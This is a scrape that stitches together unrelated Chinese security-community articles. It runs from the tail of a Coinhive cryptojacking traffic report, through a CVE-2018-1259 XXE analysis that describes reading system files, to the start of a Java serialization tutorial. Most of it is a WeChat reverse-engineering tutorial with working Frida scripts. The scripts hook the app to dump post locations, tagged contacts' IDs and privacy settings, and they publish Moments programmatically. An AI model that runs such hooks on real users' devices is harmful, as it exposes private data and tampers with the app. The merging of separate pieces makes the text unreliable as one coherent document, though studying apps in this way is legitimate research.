看图中 stage 3 部分，我们会注意到 Coinhive 再度出现显著波峰。原因是什么？
类似的，新的 v.bjztkeji.com 蓝色线7日在DNS流量中突然出现，并导致了 coinhive.com 在2月7日的流量波峰。
* 新域名的 **访问曲线** ，与 coinhive 第二次波峰的访问曲线基本一致
* 新域名的 **网页内容** ，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys，与老的 kw.cndqsjlg.com 一致
* 经分析确认，新域名的 **流量继承** 自之前 kw.cndqsjlg.com
* 我们估算，该域名为 coinhive 贡献了 **中国大陆地区15%** 左右的流量来源
## Coinhive 的第二次波谷
360安全卫士在 8 日发布文章 [**批露**](https://www.anquanke.com/post/id/97904)
了该安全事件，指出两个域名的背后是国内某广告联盟。同时，360安全卫士在其旗下浏览器产品中阻断了上述两个网站未经用户许可的挖矿行为。此次批露后：
* **kw.cndqsjlg.com 的流量** ：在7日之前就已经逐渐跌落至地板附近，流量由下者继承
* **v.bjztkeji.com 的流量** ：在9日以后跌落至地板，至今没有反弹
* **coinhive.com 的流量** ：9日之后流量大幅损失，并持续至今。估算其在中国大陆地区的流量下跌了 45%~65%
对应的流量图如下：
##
## 并非结束的结束
广告公司参与网页挖矿，是值得整个安全社区警惕的事情。我们在之前的 [**文章**](http://blog.netlab.360.com/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/)
中，就介绍过一个这样的案例。我们也毫不奇怪，市场上还会有其他玩家。
我们会持续关注整个网页挖矿市场的变化，如果读者们有新的发现，可以在 [**twitter**](https://twitter.com/360Netlab)
或者在微信公众号 **360Netlab** 上联系我们。 | 社区文章 |
作者：spoock
作者博客：<https://blog.spoock.com/2018/05/16/cve-2018-1259/>
#### 漏洞信息
看pivotal发布的漏洞信息如下:
通过发布的漏洞信息可以知道，漏洞组件是在`XMLBeam`1.4.14或者是更早的版本，主要原因是没有限制XML文件外部实体引用。而`Spring Data
Commons`的某些版本中使用了存在漏洞的`XMLBeam`组件。
#### 环境搭建
下载demo环境
git clone https://github.com/spring-projects/spring-data-examples.git
cd spring-data-examples
git checkout ad2b77e
使用IDEA打开其中的`web/projection`项目，修改其中的`pom.xml`文件: 修改spring-data-commons的版本
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>
添加spring-boot的依赖
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.0.RELEASE</version>
</parent>
漏洞组件版本如下:
注释`example.users`中`UserControllerClientTests.java`、`UserControllerIntegrationTests.java`中的代码（主要是测试代码，对漏洞环境无影响）。
#### 漏洞复现
使用IDEA启动程序。采用POST方法发送XML的数据：
成功地读取了文件。
#### 漏洞分析
通过[漏洞修复commit](https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1)发现，对`DefaultXMLFactoriesConfig.java`进行了修改，如下：
1. 配置了默认的feature
2. 禁止实体引用、禁止合并多个XML文档。关于XInclude的用法可以参考[XML包含机制](https://www.ibm.com/developerworks/cn/xml/standards/x-xincludespec.html)
通过补丁分析，漏洞原因是在于`XMLBeam`漏洞版本中没有限制外部实体。
当我们发送Payload时，是由`example.users.UserController`中的`@PostMapping(value =
"/")`来处理请求：
其中`user.getFirstname()`已经完成了参数解析并读取`c:/windows/win.ini`中的内容，所以我们发送的Payload在发送到Web应用之前已经由`Spring
Data Commons`对发送的参数进行了解析并绑定到`user`对象上。而`Spring Data
Commons`是利用`XMLBeam`解析XML文件，这样就导致了在Web应用响应请求时已经完成了XML的解析从而造成了XXE漏洞。
通过层层追踪，XML的解析最终是由`org.xmlbeam.ProjectionInvocationHandler:invokeReadProjection()`处理,
XML的解析是由`Node dataNode = (Node)expression.evaluate(node,
XPathConstants.NODE);`完成，其中`expression`就有xpath表达式，`node`表示当前的document。最终解析完毕之后，`data`返回的就是`win.ini`的内容。
当我们更新`XMLBeam`的版本至1.4.15时，即设置了`instance.setXIncludeAware(this.isXIncludeAware);instance.setExpandEntityReferences(this.isExpandEntityReferences);`。分析`invokeReadProjection()`函数
可以看到`expression`中的xpath表达式保持不变，但是`data`此时的结果已经为空，说明通过设置禁止实体引用就导致了XXE漏洞失效。
其实整个XML的解析与参数整个请求参数的传递并没有关系只和`DefaultXMLFactoriesConfig`的配置有关，所以漏洞分析并不需要跟踪XML文件的解析过程，也不需要通过`Spring
Data Commons`去追踪数据流，只需要了解这个漏洞的本质原因即可。
#### 总结
这个XXE漏洞本质是因`DefaultXMLFactoriesConfig.java`配置不当而导致的，`Spring Data
Commons`的某些版本中恰好使用了含有漏洞的`XMLBeam`组件。这也就引出了一个问题，在Java这种大量使用第三方包的情况下，如何避免因第三方包的漏洞导致自己的应用也受到危害呢？
* * * | 社区文章 |
# 微信朋友圈分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、声明
本文仅供安全研究与分享之用，任何人将本文的内容做其他用途（攻击、商业），作者不承担任何法律及连带责任。（说实话：也没什么商业和攻击的用途，本文只能用来装X和学习，没有什么其他用途。）
## 1、前言
本人还是安全路上的一个菜鸟，很多东西都是站在巨人的肩膀上进行产出的。本文是基于luoyesiqiu对7.0.10微信进行分析的基础之上对于
**7.0.14**
进行分析（这几天好像微信更新了7.0.15，有兴趣的师傅们可以试一试本文的方法），以及完善其原文没有的视频朋友圈方面的内容。（luoyesiqiu博客传送门：[https://www.cnblogs.com/luoyesiqiu/）](https://www.cnblogs.com/luoyesiqiu/%EF%BC%89)
## 2、环境配置
### 2.0 使用工具和环境
**·Android Studio 162.3934792（主要是为了SDK中的工具，不装AS也行）**
**·JDK8**
**·雷电模拟器3.93**
**·python 3.72**
**·frida 12.8.20**
**·jadx**
### 2.1工具介绍
#### 2.1.1 SDK tools
对于微信这个商业的大工程来说，如果从头进行分析，那么无疑是很困难的，所以对于具体的功能点，可以通过定位具体Activity进行分析。为了定位需要用到一些在安卓APP开发过程中的工具，这里使用的是DDMS和UI
automonitor。
这两个工具在Android
Studio的tools下面是可以找到的。具体用法可参考：<https://www.cnblogs.com/gaobig/p/5029381.html>
这里还有一个小提示，对于Java环境最好不要配置最新的，很多工具并不能支持，所以在这里我改回了Java8
#### 2.1.2 雷电模拟器
这个模拟器是个人感觉比较好用的，默认是root。当然对于不同人来说使用体验是不一样的。在分析过程中，使用的雷电模拟器版本是3.93，应该在当前来说是最新版本。
本菜鸟在请教很多大佬的时候，大佬们都建议使用可以root的真机进行调试。。。（学生党，是真的穷。）所以只能用模拟器来凑合一些，有条件的还是用用真机。
#### 2.1.3 frida
frida是一款方便并且易用的跨平台Hook工具，使用它不仅可以Hook Java写的应用程序，而且还可以Hook原生的应用程序。
frida分客户端环境和服务端环境。在客户端我们可以编写Python代码，用于连接远程设备，提交要注入的代码到远程，接受服务端的发来的消息等。在服务端，我们需要用Javascript代码注入到目标进程，操作内存数据，给客户端发送消息等操作。我们也可以把客户端理解成控制端，服务端理解成被控端。
假如我们要用PC来对Android设备上的某个进程进行操作，那么PC就是客户端，而Android设备就是服务端。
这里对frida进行一个简单的介绍，在下一节对其配置进行详细的介绍
#### 2.1.4 jadx
此工具主要是为了静态分析的。之前本菜鸟比较喜欢使用的是JEB，可以进行动态调试，静态分析也很支持。但是可能是电脑配置不够，如果想要分析微信的话，直接就卡死了。原因是Java堆内存不够。
后来就决定使用jadx，比较好的是jadx可以直接修改电脑给他的堆内存，有助于后续的静态分析。
### 2.2 Frida配置
frida的配置说简单也是简单的，但是说难也难。这里为了让其他人少踩点坑，就详细介绍一下如何进行配置。
#### 2.2.1 服务端配置
查看服务端（就是手机或者模拟器）版本，这里是x86
在Github上下载对应的版本（一般来说模拟器都是x86，真机根据架构不同，选择的版本也不同）
解压缩之后，可以重命名
之后传入模拟器
给予其运行权限
运行frida-server
#### 2.2.2 客户端配置
这个安装对我来说耗费的时间比较多。参考了很多网站上的配置，都没成功。后来发现归根结底还是自己不够耐心。
有几个关键点：一是python的版本，这里我使用的是3.7+的版本，所以一定要去官网上看看对于3.7+版本的Python需要什么版本的frida库；二是耐心，对于firda-tools和frida的安装，安装命令很简单：pip install xxxxxx==（version）。但是很长时间都会卡在setup.py上面。
那个时候我比较急躁，想着去找办法，网上给的建议是自己去下对应版本的egg文件，然后放在Script目录下。
其实慢慢等是可以解决的。当初我就是吃饭前敲完命令，吃完饭回来之后就装上了。
命令如下(一定要注意python的版本)：
pip install frida-tools
or
pip install frida-tools == (version)
pip install frida
or
pip install frida == (version)
#### 2.2.3 frida使用
frida代码编写有一个python框架，对于这个框架只要修改jscode代码即可
import frida
import sys
jscode ='''
Java.perform(function(){
var SnsUploadUI = Java.use('com.tencent.mm.plugin.sns.ui.SnsUploadUI');
var ai = SnsUploadUI.ai.overload("android.os.Bundle");
ai.implementation = function(bundle)
{
var ret = ai.call(this, bundle);
send("sns type = " + this.wUl.value);
return ret;
}
}
);
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
运行流程如下：
**
1、adb shell 获取root手机或模拟器 shell
2、在具体目录下运行server：
**
./frida-serverx86
**3、adb端口转发**
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
**4、运行python脚本**
## 3、定位
环境配置完之后就到了正文部分。
因为微信是一款成熟的商业APP，其中的保护技术：混淆、反调试之类的技术肯定是很完善的，所以为了更好的完成指定功能，最好的就是先定位。
首先再模拟器中，将画面停留在发送pyq的界面
之后使用以下adb命令，将此时的activity显示在最前面
adb.exe shell dumpsys activity top
可以看到此时的Activity是 **com.tencent.mm.plugin.sns.ui.SnsUploadUI**
但是com.tencent.mm.plugin.sns.ui.SnsUploadUI这个activity的代码还是很多的，需要进一步的定位
使用DDMS进行跟踪记录。因为由之前的adb命令可以知道跟踪的task时com.tencent.mm，那么在DDMS记录时可以选择这一个task
选中con.tencent.mm这个进程之后，点击右上角的图标，进行跟踪
当pyq发出之后，停止跟踪，可以发现很多东西
我们知道，发表Pyq是要点击“发表”这一个键的，也就是一般来说是 **OnClick** ，于是乎可以找到 **OnClick**
类似的函数。同时在上文中找到了具体的Activity是 **com.tencent.mm.plugin.sns.ui.SnsUploadUI**
，所以也可以通过这个进行搜索。在这里找到的可以函数是—— **onMenuItemClick**
下一章对于这个函数进行具体的静态分析，以及不同类型的pyq（文字、图片、视频）进行hook。
## 4、静态分析与HOOK
### 4.0 总体分析
#### 4.0.1 类型分析
使用jadx对微信静态分析，定位到上文提到的 **onMenuItemClick** 。因为混淆过了，所以目前来说，很难看懂。但是这并不影响。
为了更好的分析，这里再一次定位具体的功能代码，使用到的工具就是 **UI automonitor**
。首先还是再在模拟器上停留到发送文字朋友圈的界面（发送纯文本pyq算是一个隐藏功能，开启的方法就是长按右上角的照相机，之后就会进入文本pyq发送的界面，也算涨知识了）
之后可以在UI上捕捉到此时模拟器上的布局，同时可以根据具体的内容，找到其对应的Resource id
可以看到此时文字对应的Resource
id是fms，无疑是混淆后的，但是不影响。之后再源码中查找哪里使用了findViewById，而参数就是fms。因为findViewById这个函数
是寻找在XML或是Layout里的名称，所以可以认为这里就是寻找文字的ID。
运气比较好，确实有这么一个调用，此时又引出了一个新的变量 **this.wYj**
对于this.wYj进行搜索，可以看到其中对于this.wYj是否为空有一个判断。这里就是说如果this.wYj为空的话，那么内容描述（contentdesc）为空。所以这
里this.wYj相当于一个描述了
接着找到了this.wYj的一个赋值。这里对this.desc进行了赋值
接下来就可以跟踪this.desc了。往下跟之后发现，this.desc被当作参数传入的
SnsUploadUI.this.wYk.a()这个方法了
这里可以查看到接口信息如下，但是并没有什么实质性的作用
归根结底还是得看看this.wYk的赋值情况，在ai这个方法中发现了this.wYk的赋值
在这里thi.wYk跟wUl这个值有关系，所以现在目标又转到this.wUl这里。通过静态分析可以知道this.wUl有如下几个值：0、9、14
在这里可以通过frida脚本来hook，看看这个值与朋友圈有什么关系。测试脚本如下：
import frida
import sys
jscode ='''
Java.perform(function(){
var SnsUploadUI = Java.use('com.tencent.mm.plugin.sns.ui.SnsUploadUI');
var ai = SnsUploadUI.ai.overload("android.os.Bundle");
ai.implementation = function(bundle)
{
var ret = ai.call(this, bundle);
send("sns type = " + this.wUl.value);
return ret;
}
}
);
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
首先发送一个纯文本pyq
可以看到hook返回的值是9
再发一个纯图片动态
可以看到返回值是0
在这里有一个奇怪的现象，就是如果是发表文字动态的话（长按右上角照相机），那么hook返回的值立刻就返回到了终端上面，但是图片的话并不是，而是要选择完内容之后才返回的。所以可以猜测视频的值就是14。
这里实际测试一下
发现值确实为14
因为本菜鸟没怎么发过pyq，所以为了考虑其他可能性，还尝试了：文字+图片、文字+视频的pyq，结果返回值就是和图片、视频一致。本来还想测试图片+视频的返回值，没想到图片和视频不能同时发（憨憨一个）
**小结一下：
9：纯文本动态
0：纯图片、图片+文字动态
14：纯视频、视频+文字动态
**
#### 4.0.2 方法分析
找到了不同this.wUI对应的值，接下来就要找到不同类型的动态对应的方法。
还是回到ai这个函数中，可以找到一段switch case的代码。这里就是对不同类型的pyq进行不同的处理。
首先找到case 9，也就是处理纯文本动态的地方。可以看到此时用的是ag这个方法
对比case0和case14,也就是图片和视频的方法，发现都调用了MU这个方法
结合实际发动态判断类型的时候也是，如果是文字动态，那么长按摄像头就可以判断出是文字动态，但是图片和视频动态却需要当具体的文件选择之后才能判断。符合真实情况。所以猜测MU这个函数中有对图片和视频进行判断。所以跟进MU这个函数。果不其然，所以可以得到
**视频图片动态调用的方法是ak，视频动态调用的方法是af**
**
总结一下：
文字动态类型值为9，对应的调用方法：com.tencent.mm.plugin.sns.ui.ag**
**图片动态类型值为0，对应的调用方法：com.tencent.mm.plugin.sns.ui.ak**
**视频动态类型值为14，对应的调用方法：com.tencent.mm.plugin.sns.ui.af**
#### 4.0.3 参数分析
通过上述的分析可以知道，pyq动态基本上都是a方法，所以回到onMenuItemClick，看看a方法的参数，可以发现这里的this.desc是第四个参数，并且还有一些诸如privated之类的参数，联想实际动态发送，猜测可能是发送动态的权限设置
仔细分析一下前后的代码，根据这些参数名有一些猜测，比如private有可能就是动态的权限设置，this.desc可能是文字描述，getAtList可能是@的好友名单吧。其他的就不是很清楚了。所以为了搞清楚这些参数的具体含义，需要继续使用frida进行hook
为了简单起见，这里就以文字动态的调用方法com.tencent.mm.plugin.sns.ui.ag来写hook代码。当每次用户发送完pyq之后，会将参数的返回值回显在终端上面。完整代码如下：
import frida
import sys
jscode ='''
Java.perform(function(){
var ag = Java.use('com.tencent.mm.plugin.sns.ui.ag');
var ag_a = ag.a.overload("int","int","org.b.d.i","java.lang.String","java.util.List","com.tencent.mm.protocal.protobuf.blw","java.util.LinkedList","int","boolean","java.util.List","com.tencent.mm.pointers.PInt","java.lang.String","int","int");
ag_a.implementation = function(isPrivate,syncFlag2,twitterAccessToken,desc,atList,location,list1,pasterLen,bool1,list2,pint1,str1,num1,num2){
var ret = ag_a.call(this,isPrivate,syncFlag2,twitterAccessToken,desc,atList,location,list1,pasterLen,bool1,list2,pint1,str1,num1,num2);
console.log("************Basic Info************");
console.log("isPrivate = " + isPrivate);
console.log("syncFlag2 = " + syncFlag2);
console.log("twitterAccessToken = " + twitterAccessToken);
console.log("desc = " + "'" + desc + "'");
if(atList.size()>0){
for(var i=0;i<atList.size();i++){
console.log("atList[" + i + "] = " + atList.get(0));
}
}
if(location != null){
if(location.CsI.value != null){
console.log("location.CsI = " + location.CsI.value)
}
if(location.CsJ.value != null){
console.log("location.CsJ = " + location.CsJ.value)
}
if(location.Dnw.value != null){
console.log("location.Dnw = " + location.Dnw.value)
}
if(location.Dnx.value != null){
console.log("location.Dnx = " + location.Dnx.value)
}
if(location.wUK.value != null){
console.log("location.wUK = " + location.wUK.value)
}
if(location.wUM.value != null){
console.log("location.wUM = " + location.wUM.value)
}
if(location.country != null){
console.log("location.country = " + location.country.value)
}
}
console.log("list1 = " + list1);
console.log("pasterLen = " + pasterLen);
console.log("bool1 = " + bool1);
if(list2 != null){
console.log("list2 = " + list2.size());
}
else{
console.log("list2 = " + list2);
}
console.log("pint1 = " + pint1.value.value);
console.log("str1 = " + str1);
console.log("num1 = " + num1);
console.log("num1 = " + num1);
return ret;
}
}
);
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
首先对于位置参数进行测试，发pyq的时候设置一下位置
可以看到，将地址设置在了利生写字楼（我也不知道这是哪），终端回显的信息如下：
猜测是经纬度，在在线网站上，搜索这个地址，得到基本相同的经纬度（不完全一样可能是地点还是有一点偏差）
接着对@用户参数进行测试，可以看到这里存储的@用户的微信ID(这里通过测试发现一个结论：微信在创建的时候有一个初始的微信号，都是wxid_xxxx之类的，非常难记，于是乎微信用户有一次机会修改自己的微信号，但是在这里测试发现，得到的还是初始的那个微信号，所以微信服务器应该还是按照原始的wxid进行处理的)
最后对谁可以看进行测试。总体来看公开、部分可见和部分不可见都是0，私密设为1。理论上应该有一个列表用来记录可见或不可见的人，这里就没有继续研究下去了，感兴趣的师傅可以进行一下完善
**
最后可以得到如下结果
privated(int)：动态是否私密：0公开，1私密**
**
desc(String)：朋友圈的文本**
**
AtList(List)：@人的wxid**
**
Location(com.tencent.mm.protocal.protobuf.blw)：定位信息
**
### 4.1 文字动态分析
通过之前的分析可以知道文字动态调用的方法是com.tencent.mm.plugin.sns.ui.ag。跟进去看看能否调用，发现有Activity类型的参数。Activity类型的参数是很难构造的，所以放弃构造com.tencent.mm.plugin.sns.ui.ae类来调用a方法。
于是直接去看a方法，看能不能找到有用的东西。由于是文字动态，所以我们着重关注传入的文本，即com.tencent.mm.plugin.sns.ui.SnsUploadUI类的desc成员，在a方法中它是第4个参数：发现第四个参数str只用到了一次，就是str传给了azVar.ans
这个azVar也是在a方法中声明的，这边使用2这个参数传入az这个方法就能创建azVar。这里就不分析这个参数的含义了。在使用的时候传入同样的参数即可
在a方法的结尾有一个commit的方法，猜测有可能就是发布朋友圈的方法
跟到commit中看一下
之后可以写一段代码来测试一下能否使用脚本来发送文本pyq，以下是完整代码：
# -*- coding: UTF-8 -*- import frida
import sys
jscode ='''
if(Java.available)
{
Java.perform(function(){
var az_class = Java.use("com.tencent.mm.plugin.sns.model.az");
var desc = "文本朋友圈";
var azInstance = az_class.$new(2);
azInstance.ans(desc);
azInstance.commit();
});
}
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
运行一下（这里需要刷新一下，大家都懂，那个小圈圈转啊转就是刷新了）,成功用脚本发送了文字的pyq。测试结果如下：
### 4.2 图片动态分析
接下来分析一下图片类型的动态。思路一样，先找到图片调用的方法com.tencent.mm.plugin.sns.ui.ak。同样的ak也是有个Activity类型的参数不好构造
找到ak下面的a方法，可以发现这里有很多种a方法
找到需要相同参数的a方法后进行分析
在a方法的开头，看到利用迭代器去遍历一个列表，遍历过程中组装com.tencent.mm.plugin.sns.data.p类的数据，然后把p类放入链表linkedList2中
跟进p这个类看看，可以看到有很多成员变量，目前还不知道这些具体的含义
查看linkedList2在哪里被引用，发现在下面的第二张图片中有着”commit pic size “这样的字样，应该就是写入日志吧
对于上面的第三张图片可以发现linkedList2传入了两个地方。
①处没什么好看的，跟进之后发现对List没有进行赋值
接下来分析一下②处，跟进去之后，发现这里将list赋给this.wWX
而this.wWX在接下来也有使用，在dQ中发现了azVar的fo使用了this.wWx。同时这里还有一句话叫做commit imp time。
而这里的w就是在com.tencent.mm.plugin.sns.ui.ak中的a方法被调用。分析到这，上面的linkedList2传出去之后都终有所属了，即最终都传入了com.tencent.mm.plugin.sns.model.az类fo方法。知道图片往哪传了，可以写个frida代码测试一下。
为了测试需要，需要先将图片传入模拟器中。这里有可能有出现read-only的错误，所以为了避免这些麻烦，我直接在/data/local/tmp下面建立一个img文件，然后将图片传进去
代码的思路如下：发送文本动态代码的基础上初始化三个p类，分别传入三个本地图片路径，再将三个类实例添加到链表，再将链表传入az类的fo方法，最后调用az类的commit方法将动态发送出去。以下是完整代码：
# -*- coding: UTF-8 -*- import frida
import sys
jscode ='''
if(Java.available)
{
Java.perform(function(){
var az_class = Java.use("com.tencent.mm.plugin.sns.model.az");
var p_class = Java.use("com.tencent.mm.plugin.sns.data.p")
var desc = "图片测试";
var likedList_class = Java.use("java.util.LinkedList");
var linkedListInstance = likedList_class.$new();
var azInstance = az_class.$new(1);
var pInstance1 = p_class.$new("/data/local/tmp/img/img1.jpg",2);
var pInstance2 = p_class.$new("/data/local/tmp/img/img2.jpg",2);
var pInstance3 = p_class.$new("/data/local/tmp/img/img3.jpg",2);
linkedListInstance.add(pInstance1);
linkedListInstance.add(pInstance2);
linkedListInstance.add(pInstance3);
azInstance.fo(linkedListInstance);
azInstance.ans(desc);
azInstance.commit();
});
}
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
测试结果如下：
### 4.3 视频动态分析
按照图片的思路，直接找到com.tencent.mm.plugin.sns.ui.af中的a方法，在审计代码之前发现几个奇怪的参数，比较明显的就是this.videoPath和this.md5，这两个应该就是视频的路径和视频的md5，(传个视频还要验证md5，醉了)，对于不大明显的this.thumbPath，通过查阅资料之后知道，这是视频封面的路径
对于这三个参数的可以用frida代码来返回其具体的值，以下是返回三个参数的frida代码：
import frida
import sys
jscode ='''
Java.perform(function(){
var af = Java.use('com.tencent.mm.plugin.sns.ui.af');
var af_a = af.a.overload("int","int","org.b.d.i","java.lang.String","java.util.List","com.tencent.mm.protocal.protobuf.blw","java.util.LinkedList","int","boolean","java.util.List","com.tencent.mm.pointers.PInt","java.lang.String","int","int");
af_a.implementation = function(isPrivate,syncFlag2,twitterAccessToken,desc,atList,location,list1,pasterLen,bool1,list2,pint1,str1,num1,num2){
var ret = af_a.call(this,isPrivate,syncFlag2,twitterAccessToken,desc,atList,location,list1,pasterLen,bool1,list2,pint1,str1,num1,num2);
console.log("************Basic Info************");
console.log("videopath = " + this.videoPath.value);
console.log("md5 = " + this.md5.value);
console.log("thumbPath = " + this.thumbPath.value);
return ret;
}
}
);
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
得到如下结果，可见发送视频朋友圈的时候确实是需要这三个参数的。
接下来重点分析这个md5是如何获取。
首先还是在szVar这个变量中
之后根据sv这个类中，因为dBs.dBv代表的就是md5，但是这里并没有导入视频路径，所以并没有什么用
继续往下寻找，在j方法中找到相关的信息
在这里看到一句关键的句子：video path，thumb
path后面对应的格式化串是stringExtra和stringExtra2。所以可以推测stringExtra对应的就是视频路径也就是this.videoPath。而这里也通过g.aCZ()方法对md5进行赋值，所以这里应该就是对md5的计算
跟进g.aCZ这个方法，它是在com.tencent.mm.vfs.g这个类中，根据这个函数的返回值进行逆向，发现返回值是取aLe每个字节的值与上255之后再加上256再转换为16进制（总感觉这段代码有点不知所云）
所以现在就是要得到aLe数组的值。通过之前的分析可以知道str这个参数代表的就是视频的路径，这里的aLe数组是通过aLe()方法得到的，参数就是视频的路径。
跟进aLe这个函数，发现程序确实对视频文件进行了MD5计算
所以到了这里可以大概知道视频的md5是如何得到的，
**首先就是真正的计算视频文件的MD5值，之后将获取的散列值的每个字节进行一个小小的变化运算（与上255再加上256）**
，但是仔细一想的话，对于一个字节（8位）&255就相当于没变，再加上256（9位）就相当于加上0。所以这里比较迷，也不知道到底是要干啥。
总之算是分析好了获取MD5的方法
之后尝试使用代码发送视频朋友圈的时候发生一个问题。（这里为了测试直接使用之前代码的路径和md5）。以下是js部分代码
if(Java.available)
{
Java.perform(function(){
var az_class = Java.use("com.tencent.mm.plugin.sns.model.az");
var desc = "视频测试";
var azInstance = az_class.$new(15);
azInstance.b("","/storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1589198170517.mp4","","a05a5637bc6da550e5ce80a64654e882","/storage/emulated/0/tencent/MicroMsg/ce970bb1ead64d8901415bab33ba544e/videovsg_thumb_1589375986582","");
azInstance.ans(desc);
azInstance.commit();
});
}
但是结果却是这样的，既无封面图，视频也无法播放。明明之前打印出来的信息都是一样的
于是使用上一个打印信息的代码进行测试，发表的视频都是同一个，这里做了三组测试。发现一个结果，就是每次路径都会发生变化，所以md5值也会变化，所以这样视频和md5就不匹配也就无法正常发送视频
知道了错误的原因之后，就要找到某个函数，传入的参数为视频路径、封面图、md5等相关参数。但是对于模块com.tencent.mm.plugin.sns.ui.af中好像没有相关的调用，要么就是需要构造intent。此时通过jadx可以发现有一段好像是被注释掉的代码。经过查阅资料之后得知，这里并不是被注释掉，而是可能当前版本的jadx无法解析。并不是实际文件中没有
于是阅读这段代码之后发现一个奇怪的函数，同时这几个参数与猜测的基本一致，有videopath、thumbpah、md5等
于是到com.tencent.mm.plugin.sns.model.az中查看相关代码内容
高度怀疑此段代码就是与视频动态相关的，于是写个frida代码测试以下。当然需要先传进一个封面图和视频
以下是完整代码：
# -*- coding: UTF-8 -*- import frida
import sys
jscode ='''
if(Java.available)
{
Java.perform(function(){
var az_class = Java.use("com.tencent.mm.plugin.sns.model.az");
var desc = "视频测试";
var azInstance = az_class.$new(15);
var videopath = "/data/local/tmp/video/videotest.mp4";
var thumbpath = "/data/local/tmp/video/thumb.jpg";
var g = Java.use("com.tencent.mm.vfs.g");
var md5 = g.aCZ(videopath);
console.log("md5 = " + md5);
azInstance.w(videopath,thumbpath,"video test",md5);
azInstance.ans(desc);
azInstance.commit();
});
}
'''
def message(message,data):
if message["type"] == 'send':
print("[*] {0}".format(message["payload"]))
else:
print(message)
process = frida.get_remote_device().attach("com.tencent.mm")
script = process.create_script(jscode)
script.on("message",message)
script.load()
sys.stdin.read()
可以看到，成功发送了视频pyq，并且封面图可以指定，并不是视频的0秒的图片。测试结果如下：
## 5 总结
第一次分析这么高度商业化的产品，难度还是很大的。安全路上永无止尽，继续向大佬们学习。
比较遗憾的是没有成功绕过视频的时长限制。可能是分析还是不够到位吧，猜测是在服务端进行了时长的处理。希望哪位大佬可以有所突破，然后告知一下，学习学习大佬的技术。 | 社区文章 |
# Java原生序列化/反序列化
## **Java IO**
在学习Java反序列化之前我们先要了解一下Java的输入输出流：
java的IO流分为了 **文件IO流（FileInput/OutputStream）和对象IO流（ObjectInput/OutputStream）**
，从名字上就可以看出来一个是用来对文件进行输入和输出，一个是对对象进行输入和输出。
流的传输过程：
首先不管是输入还是输出，传输的两端都是文件和java的运行程序，所以如果想要在这二者之间进行传输，我们就需要将他们两个之间搭起来一个可以传输的通道，这样就可以实现流的传输。
* 输出流（OutputStream）：
如果我们想对一个文件进行写入操作，那么实质上是在java程序中将流（想要写入的内容）输出到目的文件中，所以流的方向是从java输出到文件，举个对文件写入一个对象的例子：
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("filename"));
oos.writeObject(obj);
首先用`new FileOutputStream`创建一个文件输出流，再用`new
ObjectOutputStream`创建一个对象输出流（因为oos是对象输出流类型），这时我们就可以在java程序中向外（文件）输出流（内容）了，画成图大概是这样：
当我们要给这个文件传一个obj对象时，就会从java程序顺着这条通道进入到file中。
* 输入流（InputStream）
其实输入流和输出流构建出传输通道的方法几乎是一样的，区别就是流的输出方向是从file指向了java程序，所以如果想要read这个文件我们就要用输入流将file输入到java程序中进行读取。
## **Java序列化和反序列化的过程**
首先为什么要进行序列化和反序列化，在程序运行结束后，这个程序里的对象都会被删除，并且对象的构成很复杂，传输起来非常不方便。如果我们想要让某些对象持久的保存下来并利于传输，我们就可以将这些对象进行序列化成一串数据，保存在某个地方，在需要用到这个对象时再反序列化让这一串数据还原成一个对象。看到一个很生动的比喻，想把一张桌子搬进门里，如果不能通过，我们就可以将这个桌子拆开（序列化），在搬进去之后再将桌子组装回去（序列化），这就是序列化和反序列化。
与php反序列化不同的是php序列化和反序列化提供了关键字`serialize和unserialize`，但java并没有这种api，我们刚才提到了Java的IO，那么它和Java的序列化和反序列化之间有什么关系呢，我们刚才说序列化就是将对象转换为一串字节数据并保存起来，那么这个过程的实现其实就是依靠java的输出，将这个对象从java程序里以字节数据流的形式输出到java的外部，相对的反序列化其实就是依靠java的输入，将java外的字节数据流输入到java程序中，最终经过一些处理还原为对象。也就是说java中的序列化和反序列化是需要开发人员自己写出整个过程。这里提供两段使用javaIO进行序列化和反序列化的代码（如果要完成整个序列化和反序列化的过程，还需要其他方法参与构建，如readObject和writeObject，下面会提到），假设ser.bin是我们用来储存序列化后字节数据流的文件：
/** 要序列化和反序列化的类 **/
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\\'' +
", age=" + age +
'}';
}
}
/** 序列化 **/
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
